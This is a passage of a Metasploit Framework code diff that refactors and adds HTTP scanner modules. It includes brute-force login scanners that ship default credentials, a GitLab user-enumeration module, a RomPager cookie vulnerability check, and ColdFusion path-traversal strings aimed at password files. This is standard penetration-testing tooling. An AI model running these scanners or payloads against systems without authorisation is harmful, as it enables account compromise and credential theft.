Exploit::CheckCode::Appears + status = check_host(ip) + case status + when Exploit::CheckCode::Appears + when Exploit::CheckCode::Detected + when Exploit::CheckCode::Vulnerable + print_good("#{peer} #{status.last}") + else + vprint_status("#{peer} #{status.last}") + end + end + + def setup + @status_codes_regex = Regexp.new(datastore['STATUS_CODES_REGEX']) + end + + # Fingerprints the provided HTTP response and returns + # Exploit::CheckCode::Appears if it is a vulnerable version of RomPager, + # otherwise returns the provided fall-back status. + def check_response_fingerprint(res, fallback_status) + fp = http_fingerprint(response: res) + if /RomPager\/(?<version>[\d\.]+)/ =~ fp + vprint_status("#{peer} is RomPager #{version}") + if Gem::Version.new(version) < Gem::Version.new('4.34') + return Exploit::CheckCode::Appears + end + end + fallback_status + end + + def find_canary + vprint_status("#{peer} locating suitable canary URI") + canaries = [] + if datastore['CANARY_URI'] + canaries << datastore['CANARY_URI'] + else + # several random URIs in the hopes that one, generally the first, will be usable + 0.upto(4) { canaries << '/' + Rex::Text.rand_text_alpha(16) } + end + + canaries.each do |canary| + res = send_request_raw( + 'uri' => normalize_uri(canary), + 'method' => 'GET', + 'headers' => headers + ) + # in most cases, the canary URI will not exist and will return a 404, but + # if everything under TARGETURI is protected by auth, a 401 may be OK too. + # but, regardless, respect the configuration set for this module + return [canary, res.code] if res && res.code.to_s =~ @status_codes_regex + end + nil + end + + def headers + { + 'Referer' => full_uri + } + end + + # To test for this vulnerability, we must first find a URI known to return + # a 404 (not found) which we will use as a canary. This URI (for example, + # /foo) is then taken and used as the value for a carefully crafted cookie + # when making a request to the configured host+port+uri. If the response + # is a 404 and the body includes the canary, it is likely that the cookie + # overwrote RomPager's concept of the requested URI, indicating that it is + # vulnerable. + def test_misfortune + # find a usable canary URI (one that returns an acceptable status code already) + if canary = find_canary + canary_value, canary_code = canary + vprint_status("#{peer} found canary URI #{canary_value} with code #{canary_code}") + else + vprint_error("#{peer} Unable to find a suitable canary URI") + return Exploit::CheckCode::Unknown + end + + canary_cookie_name = 'C107373883' + canary_cookie = canary_cookie_name + "=#{canary_value};" + + # Make a request containing a specific canary cookie name with the value set + # from the suitable canary value found above. + res = send_request_raw( + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'GET', + 'headers' => headers.merge('Cookie' => canary_cookie) + ) + + unless res + vprint_error("#{full_uri} no response") + return Exploit::CheckCode::Unknown + end + + unless res.code.to_s =~ @status_codes_regex + vprint_status("#{full_uri} unexpected HTTP code #{res.code} response") + return check_response_fingerprint(res, Exploit::CheckCode::Detected) + end + + unless res.body + vprint_status("#{full_uri} HTTP code #{res.code} had no body") + return check_response_fingerprint(res, Exploit::CheckCode::Detected) + end + + # If that canary *value* shows up in the *body*, then there are two possibilities: + # + # 1) If the canary cookie *name* is also in the *body*, it is likely that + # the endpoint is puppeting back our request to some extent and therefore + # it is expected that the canary cookie *value* would also be there. + # return Exploit::CheckCode::Detected + # + # 2) If the canary cookie *name* is *not* in the *body*, return + # Exploit::CheckCode::Vulnerable + if res.body.include?(canary_value) + if res.body.include?(canary_cookie_name) + vprint_status("#{full_uri} HTTP code #{res.code} response contained canary cookie name #{canary_cookie_name}") + return check_response_fingerprint(res, Exploit::CheckCode::Detected) + else + vprint_good("#{full_uri} HTTP code #{res.code} response contained canary cookie value #{canary_value} as URI") + report_vuln( + host: rhost, + port: rport, + name: name, + refs: references + ) + return Exploit::CheckCode::Vulnerable + end + end + + vprint_status("#{full_uri} HTTP code #{res.code} response did not contain canary cookie value #{canary_value} as URI") + check_response_fingerprint(res, Exploit::CheckCode::Safe) end end diff --git a/modules/auxiliary/scanner/http/appletv_login.rb b/modules/auxiliary/scanner/http/appletv_login.rb index 0708abd0dc..d2c30f1bf1 100644 --- a/modules/auxiliary/scanner/http/appletv_login.rb +++ b/modules/auxiliary/scanner/http/appletv_login.rb @@ -75,14 +75,13 @@ class Metasploit3 < Msf::Auxiliary end scanner = Metasploit::Framework::LoginScanner::HTTP.new( - host: ip, - port: rport, + configure_http_login_scanner( uri: "/stop", - proxies: datastore["PROXIES"], cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 5, + ) ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/axis_login.rb b/modules/auxiliary/scanner/http/axis_login.rb index e12cc0d1a1..28a2480f75 100644 --- a/modules/auxiliary/scanner/http/axis_login.rb +++ b/modules/auxiliary/scanner/http/axis_login.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Apache Axis2 Brute Force Utility', 'Description' => %q{ This module attempts to login to an Apache Axis2 instance using - username and password combindations indicated by the USER_FILE, + username and password combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It has been verified to work on at least versions 1.4.1 and 1.6.2. }, @@ -79,16 +79,13 @@ class Metasploit3 < Msf::Auxiliary cred_collection = prepend_db_passwords(cred_collection) scanner = Metasploit::Framework::LoginScanner::Axis2.new( - host: ip, - port: rport, - uri: uri, - proxies: proxies, - cred_details: cred_collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5, - user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'] + configure_http_login_scanner( + uri: uri, + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5 + ) ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb b/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb index 26dd1310e3..b24065de3a 100644 --- a/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb +++ b/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb @@ -131,11 +131,8 @@ class Metasploit4 < Msf::Auxiliary 'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com', 'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]), 'updatequesChk' => 'false', - 'SelectedQuestion' => 1, 'SelectedQuestion' => 2, - 'answer' => answers.first, 'answer' => answers.last, - 'confirmanswer' => answers.first, 'confirmanswer' => answers.last } ) diff --git a/modules/auxiliary/scanner/http/buffalo_login.rb b/modules/auxiliary/scanner/http/buffalo_login.rb index 4e4d49cd70..26d643853f 100644 --- a/modules/auxiliary/scanner/http/buffalo_login.rb +++ b/modules/auxiliary/scanner/http/buffalo_login.rb @@ -34,25 +34,22 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) cred_collection = Metasploit::Framework::CredentialCollection.new( - blank_passwords: datastore['BLANK_PASSWORDS'], - pass_file: datastore['PASS_FILE'], - password: datastore['PASSWORD'], - user_file: datastore['USER_FILE'], - userpass_file: datastore['USERPASS_FILE'], - username: datastore['USERNAME'], - user_as_pass: datastore['USER_AS_PASS'] + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] ) scanner = Metasploit::Framework::LoginScanner::Buffalo.new( - host: ip, - port: rport, - proxies: datastore['PROXIES'], - cred_details: cred_collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 10, - user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'] + configure_http_login_scanner( + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 10 + ) ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/chef_webui_login.rb b/modules/auxiliary/scanner/http/chef_webui_login.rb new file mode 100644 index 0000000000..c5145c1507 --- /dev/null +++ b/modules/auxiliary/scanner/http/chef_webui_login.rb @@ -0,0 +1,155 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/login_scanner/chef_webui' +require 'metasploit/framework/credential_collection' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Chef Web UI Brute Force Utility', + 'Description' => %q{ + This module attempts to login to Chef Web UI server instance using username and password + combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It + will also test for the default login (admin:p@ssw0rd1). + }, + 'Author' => + [ + 'hdm' + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']), + OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]), + OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]) + ], self.class) + end + + # + # main + # + def run_host(ip) + init_loginscanner(ip) + msg = @scanner.check_setup + if msg + print_brute :level => :error, :ip => rhost, :msg => msg + return + end + + print_brute :level=>:status, :ip=>rhost, :msg=>("Found Chef Web UI application at #{datastore['TARGETURI']}") + bruteforce(ip) + end + + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::DENIED_ACCESS + print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + end + end + end + + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end + + def init_loginscanner(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + # Always try the default first + @cred_collection.prepend_cred( + Metasploit::Framework::Credential.new(public: 'admin', private: 'p@ssw0rd1') + ) + + @scanner = Metasploit::Framework::LoginScanner::ChefWebUI.new( + configure_http_login_scanner( + uri: datastore['TARGETURI'], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5 + ) + ) + end + +end diff --git a/modules/auxiliary/scanner/http/chromecast_webserver.rb b/modules/auxiliary/scanner/http/chromecast_webserver.rb new file mode 100644 index 0000000000..5ac407a826 --- /dev/null +++ b/modules/auxiliary/scanner/http/chromecast_webserver.rb @@ -0,0 +1,63 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chromecast Web Server Scanner', + 'Description' => %q{ + This module scans for the Chromecast web server on port 8008/TCP, and + can be used to discover devices which can be targeted by other Chromecast + modules, such as chromecast_youtube. + }, + 'Author' => ['wvu'], + 'References' => [ + ['URL', 'https://www.google.com/chrome/devices/chromecast/'] + ], + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(8008) + ]) + end + + def run_host(ip) + res = send_request_raw( + 'method' => 'GET', + 'uri' => '/setup/eureka_info', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1) + ) + + return unless (res && res.code == 200) + + begin + json = JSON.parse(res.body) + rescue JSON::ParserError + return + end + + name, ssid = json['name'], json['ssid'] + + if name && ssid + print_good(%Q{#{peer} - Chromecast "#{name}" is connected to #{ssid}}) + report_service( + :host => ip, + :port => rport, + :proto => 'tcp', + :name => 'http', + :info => %Q{Chromecast "#{name}" connected to #{ssid}} + ) + end + end + +end diff --git a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb index c908eeb835..804e8dd49b 100644 --- a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb +++ b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb @@ -188,7 +188,7 @@ class Metasploit3 < Msf::Auxiliary end else next if (res.code == 500 or res.code == 404 or res.code == 302) - print_error("#{ip} #{res.inspect}") + print_error("#{ip} #{res.to_s}") end end @@ -198,7 +198,7 @@ class Metasploit3 < Msf::Auxiliary end -#URL's that may work for you: +# URLs that may work for you: #"/CFIDE/administrator/enter.cfm", #"/CFIDE/wizards/common/_logintowizard.cfm", #"/CFIDE/administrator/archives/index.cfm", @@ -206,7 +206,7 @@ end #"/CFIDE/administrator/entman/index.cfm", #"/CFIDE/administrator/logging/settings.cfm", -#Files to grab +# Files to grab #../../../../../../../../../../ColdFusion8/lib/password.properties%00en #../../../../../../../../../../CFusionMX7/lib/password.properties%00en #../../../../../../../../../../opt/coldfusionmx7/lib/password.properties%00en diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb index 6a89017a01..15d9170e91 100644 --- a/modules/auxiliary/scanner/http/concrete5_member_list.rb +++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb @@ -105,7 +105,7 @@ class Metasploit4 < Msf::Auxiliary # print table print_line(membertbl.to_s) - #store username to loot + # store username to loot report_note({ :host => rhost, :port => rport, diff --git a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb index 4f90e4460d..9c6d48cdb6 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb @@ -25,8 +25,8 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'hdm', #http_login module - 'Michael Messner <devnull[at]s3cur1ty.de>' #dlink login included + 'hdm', # http_login module + 'Michael Messner <devnull[at]s3cur1ty.de>' #dlink login included ], 'References' => [ @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Auxiliary } end - #default to user=admin without password (default on most dlink routers) + # default to user=admin without password (default on most dlink routers) def do_login(user='admin', pass='') vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") diff --git a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb index b8bf3c7602..d9d3972ba8 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb @@ -23,8 +23,8 @@ class Metasploit3 < Msf::Auxiliary devices. It is possible that this module also works with other models. }, 'Author' => [ - 'hdm', #http_login module - 'Michael Messner <devnull[at]s3cur1ty.de>' #dlink login included + 'hdm', #http_login module + 'Michael Messner <devnull[at]s3cur1ty.de>' #dlink login included ], 'References' => [ @@ -68,8 +68,8 @@ class Metasploit3 < Msf::Auxiliary end def is_dlink? - #the tested DIR-615 has no nice Server banner, gconfig.htm gives us interesting - #input to detect this device. Not sure if this works on other devices! Tested on v8.04. + # the tested DIR-615 has no nice Server banner, gconfig.htm gives us interesting + # input to detect this device. Not sure if this works on other devices! Tested on v8.04. begin response = send_request_cgi({ 'uri' => '/gconfig.htm', @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary return false if response.nil? return false if (response.code == 404) - #fingerprinting tested on firmware version 8.04 + # fingerprinting tested on firmware version 8.04 if response.body !~ /var\ systemName\=\'DLINK\-DIR615/ return false else @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary end end - #default to user=admin without password (default on most dlink routers) + # default to user=admin without password (default on most dlink routers) def do_login(user='admin', pass='') vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") diff --git a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb index 8802e1cef6..30953b0a20 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb @@ -83,7 +83,7 @@ class Metasploit3 < Msf::Auxiliary } end - #default to user=admin without password (default on most dlink routers) + # default to user=admin without password (default on most dlink routers) def do_login(user='admin', pass='') vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index 66f90d252f..78ced007d5 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -37,12 +37,12 @@ class Metasploit3 < Msf::Auxiliary ]) ], self.class) - # "Set to false to prevent account lockouts - it will!" + # Set to false to prevent account lockouts - it will! deregister_options('BLANK_PASSWORDS') end def target_url - #Function to display correct protocol and host/vhost info + # Function to display correct protocol and host/vhost info if rport == 443 or ssl proto = "https" else @@ -74,8 +74,8 @@ class Metasploit3 < Msf::Auxiliary return end - #Check for HTTP 200 response. - #Numerous versions and configs make if difficult to further fingerprint. + # Check for HTTP 200 response. + # Numerous versions and configs make if difficult to further fingerprint. if (res and res.code == 200) print_status("Ektron CMS400.NET install found at #{target_url} [HTTP 200]") @@ -110,8 +110,8 @@ class Metasploit3 < Msf::Auxiliary end def get_version - #Attempt to retrieve the version of CMS400.NET installed. - #Not always possible based on version/config. + # Attempt to retrieve the version of CMS400.NET installed. + # Not always possible based on version/config. payload = "http://#{vhost}:#{rport}/WorkArea/java/ektron.site-data.js.ashx" res = send_request_cgi( { @@ -124,11 +124,11 @@ class Metasploit3 < Msf::Auxiliary end end - def do_login(user=nil, pass=nil, viewstate=viewstate, eventvalidation=eventvalidation) + def do_login(user=nil, pass=nil, viewstate_arg=viewstate, eventvalidation_arg=eventvalidation) vprint_status("#{target_url} - Trying: username:'#{user}' with password:'#{pass}'") - post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate.to_s)}" - post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation.to_s)}" + post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate_arg.to_s)}" + post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation_arg.to_s)}" post_data << "&username=#{Rex::Text.uri_encode(user.to_s)}" post_data << "&password=#{Rex::Text.uri_encode(pass.to_s)}" diff --git a/modules/auxiliary/scanner/http/files_dir.rb b/modules/auxiliary/scanner/http/files_dir.rb index 1073747319..ffd2f92819 100644 --- a/modules/auxiliary/scanner/http/files_dir.rb +++ b/modules/auxiliary/scanner/http/files_dir.rb @@ -158,7 +158,6 @@ class Metasploit3 < Msf::Auxiliary if(not res or ((res.code.to_i == ecode) or (emesg and res.body.index(emesg)))) if dm == false print_status("NOT Found #{wmap_base_url}#{tpath}#{testfext} #{res.code.to_i}") - #blah end else if res.code.to_i == 400 and ecode != 400 diff --git a/modules/auxiliary/scanner/http/gitlab_login.rb b/modules/auxiliary/scanner/http/gitlab_login.rb new file mode 100644 index 0000000000..6217518937 --- /dev/null +++ b/modules/auxiliary/scanner/http/gitlab_login.rb @@ -0,0 +1,96 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/gitlab' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + + def initialize + super( + 'Name' => 'GitLab Login Utility', + 'Description' => 'This module attempts to login to a GitLab instance using a specific user/pass.', + 'Author' => [ 'Ben Campbell' ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://labs.mwrinfosecurity.com/blog/2015/03/20/gitlab-user-enumeration/'] + ] + ) + + register_options( + [ + Opt::RPORT(80), + OptString.new('USERNAME', [ true, 'The username to test', 'root' ]), + OptString.new('PASSWORD', [ true, 'The password to test', '5iveL!fe' ]), + OptString.new('TARGETURI', [true, 'The path to GitLab', '/']) + ], self.class) + + register_autofilter_ports([ 80, 443 ]) + + deregister_options('RHOST') + end + + def run_host(ip) + uri = normalize_uri(target_uri.path.to_s, 'users', 'sign_in') + res = send_request_cgi( + 'method' => 'GET', + 'cookie' => 'request_method=GET', + 'uri' => uri + ) + + if res && res.body && res.body.include?('user[email]') + vprint_status("#{peer} - GitLab v5 login page") + elsif res && res.body && res.body.include?('user[login]') + vprint_status("#{peer} - GitLab v7 login page") + else + vprint_error('Not a valid GitLab login page') + return + end + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + scanner = Metasploit::Framework::LoginScanner::GitLab.new( + configure_http_login_scanner( + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + uri: uri, + connection_timeout: 10 + ) + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})" + end + end + end +end diff --git a/modules/auxiliary/scanner/http/gitlab_user_enum.rb b/modules/auxiliary/scanner/http/gitlab_user_enum.rb new file mode 100644 index 0000000000..e090a1e07c --- /dev/null +++ b/modules/auxiliary/scanner/http/gitlab_user_enum.rb @@ -0,0 +1,154 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/http' +require 'msf/core' +require 'json' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'GitLab User Enumeration', + 'Description' => " + The GitLab 'internal' API is exposed unauthenticated on GitLab. This + allows the username for each SSH Key ID number to be retrieved. Users + who do not have an SSH Key cannot be enumerated in this fashion. LDAP + users, e.g. Active Directory users will also be returned. This issue + was fixed in GitLab v7.5.0 and is present from GitLab v5.0.0. + ", + 'Author' => 'Ben Campbell', + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Nov 21 2014', + 'References' => + [ + ['URL', 'https://labs.mwrinfosecurity.com/blog/2015/03/20/gitlab-user-enumeration/'] + ] + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'Path to GitLab instance', '/']), + OptInt.new('START_ID', [true, 'ID number to start from', 0]), + OptInt.new('END_ID', [true, 'ID number to enumerate up to', 50]) + ], self.class) + end + + def run_host(_ip) + internal_api = '/api/v3/internal' + check = normalize_uri(target_uri.path, internal_api, 'check') + + print_status('Sending GitLab version request...') + res = send_request_cgi( + 'uri' => check + ) + + if res && res.code == 200 && res.body + begin + version = JSON.parse(res.body) + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to parse banner version from JSON') + end + + git_version = version['gitlab_version'] + git_revision = version['gitlab_rev'] + print_good("GitLab version: #{git_version} revision: #{git_revision}") + + service = report_service( + host: rhost, + port: rport, + name: (ssl ? 'https' : 'http'), + proto: 'tcp' + ) + + report_web_site( + host: rhost, + port: rport, + ssl: ssl, + info: "GitLab Version - #{git_version}" + ) + elsif res && res.code == 401 + fail_with(Failure::NotVulnerable, 'Unable to retrieve GitLab version...') + else + fail_with(Failure::Unknown, 'Unable to retrieve GitLab version...') + end + + discover = normalize_uri(target_uri.path, internal_api, 'discover') + + users = '' + print_status("Enumerating user keys #{datastore['START_ID']}-#{datastore['END_ID']}...") + datastore['START_ID'].upto(datastore['END_ID']) do |id| + res = send_request_cgi( + 'uri' => discover, + 'method' => 'GET', + 'vars_get' => { 'key_id' => id } + ) + + if res && res.code == 200 && res.body + begin + user = JSON.parse(res.body) + username = user['username'] + unless username.nil? || username.to_s.empty? + print_good("Key-ID: #{id} Username: #{username} Name: #{user['name']}") + store_username(username, res) + users << "#{username}\n" + end + rescue JSON::ParserError + print_error("Key-ID: #{id} - Unexpected response body: #{res.body}") + end + elsif res + vprint_status("Key-ID: #{id} not found") + else + print_error('Connection timed out...') + end + end + + unless users.nil? || users.to_s.empty? + store_userlist(users, service) + end + end + + def store_userlist(users, service) + loot = store_loot('gitlab.users', 'text/plain', rhost, users, nil, 'GitLab Users', service) + print_good("Userlist stored at #{loot}") + end + + def store_username(username, res) + service = ssl ? 'https' : 'http' + service_data = { + address: rhost, + port: rport, + service_name: service, + protocol: 'tcp', + workspace_id: myworkspace_id, + proof: res + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: username + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + create_credential_login(login_data) + end +end diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index 3cf30f4e18..6ac31a151f 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'GlassFish Brute Force Utility', 'Description' => %q{ This module attempts to login to GlassFish instance using username and password - combindations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It will also try to do an authentication bypass against older versions of GlassFish. Note: by default, GlassFish 4.0 requires HTTPS, which means you must set the SSL option to true, and SSLVersion to TLS1. It also needs Secure Admin to access the DAS remotely. @@ -52,11 +52,6 @@ class Metasploit3 < Msf::Auxiliary # the LoginScanner class so the authentication can proceed properly # - # Overrides the ssl method from HttpClient - def ssl - @scanner.ssl || datastore['SSL'] - end - # # For a while, older versions of Glassfish didn't need to set a password for admin, # but looks like no longer the case anymore, which means this method is getting useless @@ -95,17 +90,13 @@ class Metasploit3 < Msf::Auxiliary ) @scanner = Metasploit::Framework::LoginScanner::Glassfish.new( - host: ip, - port: rport, - proxies: datastore["PROXIES"], - cred_details: @cred_collection, - stop_on_success: datastore['STOP_ON_SUCCESS'], - bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5 + configure_http_login_scanner( + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5 + ) ) - - @scanner.ssl = datastore['SSL'] - @scanner.ssl_version = datastore['SSLVERSION'] end def do_report(ip, port, result) @@ -142,11 +133,9 @@ class Metasploit3 < Msf::Auxiliary when Metasploit::Model::Login::Status::SUCCESSFUL print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" do_report(ip, rport, result) - :next_user when Metasploit::Model::Login::Status::DENIED_ACCESS print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'" do_report(ip, rport, result) - :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT if datastore['VERBOSE'] print_brute :level => :verror, :ip => ip, :msg => "Could not connect" @@ -161,7 +150,6 @@ class Metasploit3 < Msf::Auxiliary realm_value: result.credential.realm, status: result.status ) - :abort when Metasploit::Model::Login::Status::INCORRECT if datastore['VERBOSE'] print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" diff --git a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb index f412a6dce2..4862e49216 100644 --- a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb +++ b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb @@ -32,6 +32,12 @@ class Metasploit3 < Msf::Auxiliary 'PASS_FILE' => 